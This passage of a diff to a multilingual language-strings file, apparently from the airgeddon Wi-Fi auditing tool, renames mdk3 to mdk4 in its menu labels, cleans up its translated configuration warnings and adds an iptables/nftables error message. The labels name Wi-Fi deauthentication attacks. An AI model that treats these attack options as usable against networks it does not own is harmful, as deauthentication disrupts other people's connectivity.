amok action" - arr["SPANISH",89]="Acción mdk3 amok" - arr["FRENCH",89]="Action mdk3 amok" - arr["CATALAN",89]="Acció mdk3 amok" - arr["PORTUGUESE",89]="Ação mdk3 amok" - arr["RUSSIAN",89]="Mdk3 amok в действии" - arr["GREEK",89]="Ενέργεια mdk3 amok" - arr["ITALIAN",89]="Azione mdk3 amok" - arr["POLISH",89]="Akcja mdk3 amok" - arr["GERMAN",89]="mdk3 amok Aktion" - arr["TURKISH",89]="Mdk3 amok etkisi" + arr["ENGLISH",89]="Mdk4 amok action" + arr["SPANISH",89]="Acción mdk4 amok" + arr["FRENCH",89]="Action mdk4 amok" + arr["CATALAN",89]="Acció mdk4 amok" + arr["PORTUGUESE",89]="Ação mdk4 amok" + arr["RUSSIAN",89]="Mdk4 amok в действии" + arr["GREEK",89]="Ενέργεια mdk4 amok" + arr["ITALIAN",89]="Azione mdk4 amok" + arr["POLISH",89]="Akcja mdk4 amok" + arr["GERMAN",89]="mdk4 amok Aktion" + arr["TURKISH",89]="Mdk4 amok etkisi" arr["ENGLISH",90]="Aireplay deauth action" arr["SPANISH",90]="Acción aireplay deauth" @@ -1990,17 +1990,17 @@ function language_strings() { arr["GERMAN",94]="Michael Shutdown Aktion" arr["TURKISH",94]="Michael Shutdown etkisi" - arr["ENGLISH",95]="Mdk3 amok parameters" - arr["SPANISH",95]="Parámetros Mdk3 amok" - arr["FRENCH",95]="Paramètres Mdk3 amok" - arr["CATALAN",95]="Paràmetres Mdk3 amok" - arr["PORTUGUESE",95]="Parâmetros Mdk3 amok" - arr["RUSSIAN",95]="Параметры Mdk3 amok" - arr["GREEK",95]="Παράμετροι Mdk3 amok" - arr["ITALIAN",95]="Parametri Mdk3 amok" - arr["POLISH",95]="Parametry Mdk3 amok" - arr["GERMAN",95]="Mdk3 amok Parameter" - arr["TURKISH",95]="Mdk3 amok parametreleri" + arr["ENGLISH",95]="Mdk4 amok parameters" + arr["SPANISH",95]="Parámetros Mdk4 amok" + arr["FRENCH",95]="Paramètres Mdk4 amok" + arr["CATALAN",95]="Paràmetres Mdk4 amok" + arr["PORTUGUESE",95]="Parâmetros Mdk4 amok" + arr["RUSSIAN",95]="Параметры Mdk4 amok" + arr["GREEK",95]="Παράμετροι Mdk4 amok" + arr["ITALIAN",95]="Parametri Mdk4 amok" + arr["POLISH",95]="Parametry Mdk4 amok" + arr["GERMAN",95]="Mdk4 amok Parameter" + arr["TURKISH",95]="Mdk4 amok parametreleri" arr["ENGLISH",96]="Aireplay deauth parameters" arr["SPANISH",96]="Parámetros Aireplay deauth" @@ -2518,17 +2518,17 @@ function language_strings() { arr["GERMAN",138]="Handshake-Angriff" arr["TURKISH",138]="Saldırı için Handshake" - arr["ENGLISH",139]="1. Deauth / disassoc amok mdk3 attack" - arr["SPANISH",139]="1. Ataque Deauth / Disassoc amok mdk3" - arr["FRENCH",139]="1. Attaque Deauth / Disassoc amok mdk3" - arr["CATALAN",139]="1. Atac Deauth / Disassoc amok mdk3" - arr["PORTUGUESE",139]="1. Ataque Deauth / Disassoc amok mdk3" - arr["RUSSIAN",139]="1. Атака деаутентификации / разъединения amok mdk3" - arr["GREEK",139]="1. Επίθεση Deauth / disassoc amok mdk3" - arr["ITALIAN",139]="1. Attacco Deauth / Disassoc amok mdk3" - arr["POLISH",139]="1. Atak Deauth / Disassoc amok mdk3" - arr["GERMAN",139]="1. Deauth / Disassoc Amok mdk3 Angriff" - arr["TURKISH",139]="1. Deauth / disassoc amok mdk3 saldırısı" + arr["ENGLISH",139]="1. Deauth / disassoc amok mdk4 attack" + arr["SPANISH",139]="1. Ataque Deauth / Disassoc amok mdk4" + arr["FRENCH",139]="1. Attaque Deauth / Disassoc amok mdk4" + arr["CATALAN",139]="1. Atac Deauth / Disassoc amok mdk4" + arr["PORTUGUESE",139]="1. Ataque Deauth / Disassoc amok mdk4" + arr["RUSSIAN",139]="1. Атака деаутентификации / разъединения amok mdk4" + arr["GREEK",139]="1. Επίθεση Deauth / disassoc amok mdk4" + arr["ITALIAN",139]="1. Attacco Deauth / Disassoc amok mdk4" + arr["POLISH",139]="1. Atak Deauth / Disassoc amok mdk4" + arr["GERMAN",139]="1. Deauth / Disassoc Amok mdk4 Angriff" + arr["TURKISH",139]="1. Deauth / disassoc amok mdk4 saldırısı" arr["ENGLISH",140]="2. Deauth aireplay attack" arr["SPANISH",140]="2. Ataque Deauth aireplay" @@ -8207,29 +8207,41 @@ function language_strings() { arr["TURKISH",612]="Herhangi enterprise bir ağ bulunamadı" arr["ENGLISH",613]="Warning. Please check ${rc_file} file or command line flags. Invalid value on ${normal_color}${error_var_name}${yellow_color} variable. The default value ${normal_color}${error_var_default_value}${yellow_color} will be used" - arr["SPANISH",613]="Atención. Por favor revisa el fichero ${rc_file} . El valor de la variable ${normal_color}${error_var_name}${yellow_color} no es válido. El valor por defecto ${normal_color}${error_var_default_value}${yellow_color} será usado" + arr["SPANISH",613]="Atención. Por favor revisa el fichero ${rc_file}. El valor de la variable ${normal_color}${error_var_name}${yellow_color} no es válido. El valor por defecto ${normal_color}${error_var_default_value}${yellow_color} será usado" arr["FRENCH",613]="Attention. Veuillez vérifier le fichier ${rc_file} ou les flags sur ligne de commande. La variable ${normal_color}${error_var_name}${yellow_color} a une valeur non valide. La valeur par défaut ${normal_color}${error_var_default_value}${yellow_color} sera utilisée " - arr["CATALAN",613]="${pending_of_translation} Avís. Comproveu els fitxers de ${rc_file} o comanda. Valor no vàlid a la variable ${normal_color}${error_var_name}${yellow_color}. S'utilitzarà el valor predeterminat ${normal_color}${error_var_default_value}${yellow_color}" - arr["PORTUGUESE",613]="${pending_of_translation} Aviso. Por favor, verifique o arquivo ${rc_file} ou os sinalizadores de linha de comando. Valor inválido na variável ${normal_color}${error_var_name}${yellow_color}. O valor padrão ${normal_color}${error_var_default_value}${yellow_color} será usado" - arr["RUSSIAN",613]="${pending_of_translation} Предупреждение. Пожалуйста, проверьте файл ${rc_file} или флаги командной строки. Недопустимое значение переменной ${normal_color}${error_var_name}${yellow_color}. Будет использовано значение по умолчанию ${normal_color}${error_var_default_value}${yellow_color}" - arr["GREEK",613]="${pending_of_translation} Προειδοποίηση. Ελέγξτε το αρχείο ${rc_file} ή τις σημαίες γραμμής εντολών. Μη έγκυρη τιμή για τη μεταβλητή ${normal_color}${error_var_name}${yellow_color}. Η προεπιλεγμένη τιμή ${normal_color}${error_var_default_value}${yellow_color} θα χρησιμοποιηθεί" - arr["ITALIAN",613]="${pending_of_translation} Avvertimento. Controlla il file ${rc_file} o i flag della riga di comando. Valore non valido sulla variabile ${normal_color}${error_var_name}${yellow_color}. Verrà utilizzato il valore predefinito ${normal_color}${error_var_default_value}${yellow_color}" - arr["POLISH",613]="${pending_of_translation} Ostrzeżenie. Sprawdź plik ${rc_file} lub flagi linii poleceń. Niepoprawna wartość zmiennej ${normal_color}${error_var_name}${yellow_color}. Użyta zostanie wartość domyślna ${normal_color}${error_var_default_value}${yellow_color}" - arr["GERMAN",613]="${pending_of_translation} Warnung. Bitte überprüfen Sie ${rc_file}. Ungültiger Wert für die Variable ${normal_color}${error_var_name}${yellow_color}. ${normal_color}${error_var_default_value}${yellow_color} wird verwendet" + arr["CATALAN",613]="Atencio. Comprova el fitxer de ${rc_file}. Valor no vàlid a la variable ${normal_color}${error_var_name}${yellow_color}. S'utilitzarà el valor predeterminat ${normal_color}${error_var_default_value}${yellow_color}" + arr["PORTUGUESE",613]="Aviso: Por favor, verifique o arquivo ${rc_file} ou os argumentos na linha de comando. Valor inválido na variável ${normal_color}${error_var_name}${yellow_color}. O valor padrão ${normal_color}${error_var_default_value}${yellow_color} será usado" + arr["RUSSIAN",613]="Предупреждение. Пожалуйста, проверьте файл ${rc_file} или флаги командной строки. Недопустимое значение переменной ${normal_color}${error_var_name}${yellow_color}. Будет использовано значение по умолчанию ${normal_color}${error_var_default_value}${yellow_color}" + arr["GREEK",613]="Προειδοποίηση. Ελέγξτε το αρχείο ${rc_file} ή τα flags της γραμμής εντολών. Βρέθηκε μη έγκυρη τιμή για τη μεταβλητή ${normal_color}${error_var_name}${yellow_color}. Θα χρησιμοποιηθεί η προεπιλεγμένη τιμή ${normal_color}${error_var_default_value}${yellow_color}" + arr["ITALIAN",613]="Attenzione. Controlla il file ${rc_file} o i flag della linea di comando. Il valore della variabile ${normal_color}${error_var_name}${yellow_color} non è valido. Verrà utilizzato il valore predefinito ${normal_color}${error_var_default_value}${yellow_color}" + arr["POLISH",613]="Ostrzeżenie! Sprawdź plik ${rc_file} lub parametry linii poleceń. Niepoprawna wartość zmiennej ${normal_color}${error_var_name}${yellow_color}. Użyta zostanie wartość domyślna ${normal_color}${error_var_default_value}${yellow_color}" + arr["GERMAN",613]="Achtung. Bitte überprüfen Sie ${rc_file}. Ungültiger Wert für die Variable ${normal_color}${error_var_name}${yellow_color}. ${normal_color}${error_var_default_value}${yellow_color} wird verwendet" arr["TURKISH",613]="${pending_of_translation} Uyarı. Lütfen ${rc_file} dosyasını veya komut satırı bayraklarını kontrol edin. ${normal_color}${error_var_name}${yellow_color} değişkeninde geçersiz değer. ${normal_color}${error_var_default_value}${yellow_color} varsayılan değeri kullanılmak istiyor" arr["ENGLISH",614]="Warning. Please check ${rc_file} file. Configuration variable ${normal_color}${error_var_name}${yellow_color} not found. The default value ${normal_color}${error_var_default_value}${yellow_color} will be used" - arr["SPANISH",614]="Atención. Por favor revisa el fichero ${rc_file} . No se ha encontrado la variable ${normal_color}${error_var_name}${yellow_color} . El valor por defecto ${normal_color}${error_var_default_value}${yellow_color} será usado" - arr["FRENCH",614]="Attention. Veuillez vérifier le fichier ${rc_file}. La variable de configuration ${normal_color}${nom_var_erreur}${couleur_jaune} introuvable. ${normal_color}${error_var_default_value}${yellow_color} sera utilisé" - arr["CATALAN",614]="${pending_of_translation} Notes. Si us plau, consulteu el fitxer ${rc_file}. No s'ha trobat la variable de configuració ${normal_color}${error_var_name}${yellow_color}. S'utilitzarà ${normal_color}${error_var_default_value}${yellow_color}" - arr["PORTUGUESE",614]="${pending_of_translation} Aviso. Por favor, verifique o arquivo ${rc_file}. Variável de configuração ${normal_color}${error_var_name}${yellow_color} não encontrado. ${normal_color}${error_var_default_value}${yellow_color} será usado" - arr["RUSSIAN",614]="${pending_of_translation} Предупреждение. Пожалуйста, проверьте файл ${rc_file}. Конфигурационная переменная ${normal_color}${error_var_name}${yellow_color} не найдена. ${normal_color}${error_var_default_value}${yellow_color} будет использоваться" - arr["GREEK",614]="${pending_of_translation} Προειδοποίηση. Ελέγξτε το αρχείο ${rc_file}. Η μεταβλητή διαμόρφωσης ${normal_color}${error_var_name}${yellow_color} δεν βρέθηκε. ${normal_color}${error_var_default_value}${yellow_color} θα χρησιμοποιηθεί" - arr["ITALIAN",614]="${pending_of_translation} Attenzione. Controlla il file ${rc_file}. Variabile di configurazione ${normal_color}${error_var_name}${yellow_color} non trovata. ${normal_color}${error_var_default_value}${yellow_color} sarà usato" - arr["POLISH",614]="${pending_of_translation} " - arr["GERMAN",614]="${pending_of_translation} Warnung. Bitte überprüfen Sie die $ {rc_file} -Datei. Konfigurationsvariable $ {normal_color} $ {fehlervariablenname} $ {yellow_color} nicht gefunden. $ {Normal_color} $ {error_var_default_value} $ {yellow_color} wird verwendet" + arr["SPANISH",614]="Atención. Por favor revisa el fichero ${rc_file}. No se ha encontrado la variable ${normal_color}${error_var_name}${yellow_color}. El valor por defecto ${normal_color}${error_var_default_value}${yellow_color} será usado" + arr["FRENCH",614]="Attention. Veuillez vérifier le fichier ${rc_file}. La variable de configuration ${normal_color}${error_var_name}${yellow_color} introuvable. ${normal_color}${error_var_default_value}${yellow_color} sera utilisé" + arr["CATALAN",614]="Atencio. Si us plau, comprova el fitxer ${rc_file}. No s'ha trobat la variable de configuració ${normal_color}${error_var_name}${yellow_color}. S'utilitzarà ${normal_color}${error_var_default_value}${yellow_color}" + arr["PORTUGUESE",614]="Aviso: Por favor, verifique o arquivo ${rc_file}. Variável de configuração ${normal_color}${error_var_name}${yellow_color} não encontrada. ${normal_color}${error_var_default_value}${yellow_color} será usado" + arr["RUSSIAN",614]="Предупреждение. Пожалуйста, проверьте файл ${rc_file}. Конфигурационная переменная ${normal_color}${error_var_name}${yellow_color} не найдена. Будет использоваться значение по умолчанию ${normal_color}${error_var_default_value}${yellow_color}" + arr["GREEK",614]="Προειδοποίηση. Ελέγξτε το αρχείο ${rc_file}. Η μεταβλητή για το configuration ${normal_color}${error_var_name}${yellow_color} δεν βρέθηκε. Θα χρησιμοποιηθεί η προεπιλεγμένη τιμή ${normal_color}${error_var_default_value}${yellow_color}" + arr["ITALIAN",614]="Attenzione. Per favore controlla il file ${rc_file}. La variabile di configurazione ${normal_color}${error_var_name}${yellow_color} non è stata trovata. Verrà utilizzado il valore predefinito ${normal_color}${error_var_default_value}${yellow_color}" + arr["POLISH",614]="Uwaga! Sprawdź plik ${rc_file}. Nie znaleziono zmiennej ${normal_color}${error_var_name}${yellow_color}. Użyta zostanie wartość domyślna ${normal_color}${error_var_default_value}${yellow_color}" + arr["GERMAN",614]="Achtung. Bitte überprüfen Sie die ${rc_file}-Datei. Die Konfigurationsvariable ${normal_color}${error_var_name}${yellow_color} wurde nicht gefunden. ${normal_color}${error_var_default_value}${yellow_color} wird verwendet" arr["TURKISH",614]="${pending_of_translation} Uyarı. Lütfen ${rc_file} dosyasını kontrol edin. Yapılandırma değişkeni ${normal_color}${error_var_name}${yellow_color} bulunamadı. ${normal_color}${error_var_default_value}${yellow_color} varsayılan değeri kullanılmak istiyor" + arr["ENGLISH",615]="There is an error in your configuration. Please check the ${rc_file} file. You have enabled the option to force the use of iptables instead of nftables (${normal_color}AIRGEDDON_FORCE_IPTABLES${red_color}) but your system doesn't have iptables installed. Disable this option or install iptables to fix the problem" + arr["SPANISH",615]="Hay un error en tu configuración. Por favor revisa el fichero ${rc_file}. Has activado la opción para forzar el uso de iptables en lugar de nftables (${normal_color}AIRGEDDON_FORCE_IPTABLES${red_color}) pero tu sistema no tiene iptables instaladas. Deshabilita esta opción o instala iptables para solucionar el problema" + arr["FRENCH",615]="Il y a une erreur dans votre configuration. Veuillez vérifier le fichier ${rc_file}. Vous avez activé l'option pour forcer l'utilisation de iptables à la place de nftables (${normal_color}AIRGEDDON_FORCE_IPTABLES${red_color}) mais iptables n'est pas installé sur votre système. Désactivez cette option ou installez iptables pour résoudre le problème" + arr["CATALAN",615]="Hi ha un error en la configuració. Si us plau comprova el fitxer ${rc_file}. Has activat l'opció per forçar l'ús d'iptables en lloc de nftables (${normal_color}AIRGEDDON_FORCE_IPTABLES${red_color}) però el teu sistema no té iptables instal·lades. Deshabilita aquesta opció o instal·la iptables per solucionar el problema" + arr["PORTUGUESE",615]="Existe um erro na sua configuração. Por favor, verifique o arquivo ${rc_file}. Você ativou a opção para forçar o uso de iptables em vez de nftables (${normal_color}AIRGEDDON_FORCE_IPTABLES${red_color}), mas seu sistema não possui o iptables instalado. Desabilite esta opção ou instale o iptables para resolver o problema" + arr["RUSSIAN",615]="В вашей конфигурации имеется ошибка. Пожалуйста, проверьте файл ${rc_file}. Вы включили опцию принудительного использования iptables вместо nftables (${normal_color}AIRGEDDON_FORCE_IPTABLES${red_color}), но в вашей системе не установлены iptables. Отключите эту опцию или установите iptables, чтобы исправить проблему" + arr["GREEK",615]="Υπάρχει ένα σφάλμα στο configuration σας. Ελέγξτε το αρχείο ${rc_file}. Έχετε ενεργοποιήσει την επιλογή που εξαναγκάζει τη χρήση του iptables αντί του nftables (${normal_color}AIRGEDDON_FORCE_IPTABLES${red_color}) και το σύστημά σας δεν έχει το έχει εγκατεστημένο (iptables). Απενεργοποιήστε την επιλογή αυτή ή εγκαταστήστε το iptables για να επιλυθεί το πρόβλημα" + arr["ITALIAN",615]="C'è un errore nella tua configurazione. Per favore controlla il file ${rc_file}. Hai attivato l'opzione per forzare l'uso di iptables invece di nftables (${normal_color}AIRGEDDON_FORCE_IPTABLES${red_color}) ma il tuo sistema non ha iptables installato. Disabilita questa opzione o installa iptables per risolvere il problema" + arr["POLISH",615]="Wystąpił błąd konfiguracji. Sprawdź plik ${rc_file}. Aktywowałeś opcję wymuszania użycia iptables zamiast nftables (${normal_color}AIRGEDDON_FORCE_IPTABLES${red_color}), ale twój system nie ma zainstalowanego iptables. Wyłącz tę opcję lub zainstaluj iptables, aby rozwiązać problem" + arr["GERMAN",615]="Ein Fehler wurde in Ihren Einstellungen gefunden. Bitte überprüfen Sie die Datei ${rc_file}. Sie haben die Option aktiviert, um die Verwendung von iptables anstelle von nftables zu erzwingen (${normal_color}AIRGEDDON_FORCE_IPTABLES${red_color}), aber auf Ihrem System sind iptables nicht installiert. Deaktivieren Sie diese Option oder installieren Sie iptables, um das Problem zu lösen" + arr["TURKISH",615]="${pending_of_translation} Yapılandırmanızda bir hata var. Lütfen ${rc_file} dosyasını kontrol edin. Nftables (${normal_color}AIRGEDDON_FORCE_IPTABLES${red_color}) yerine iptables kullanımını zorlama seçeneğini etkinleştirdiniz, ancak sisteminizde iptables kurulu değil. Bu seçeneği devre dışı bırakın veya sorunu çözmek için iptables yükleyin" + case "${3}" in "yellow") interrupt_checkpoint "${2}" "${3}"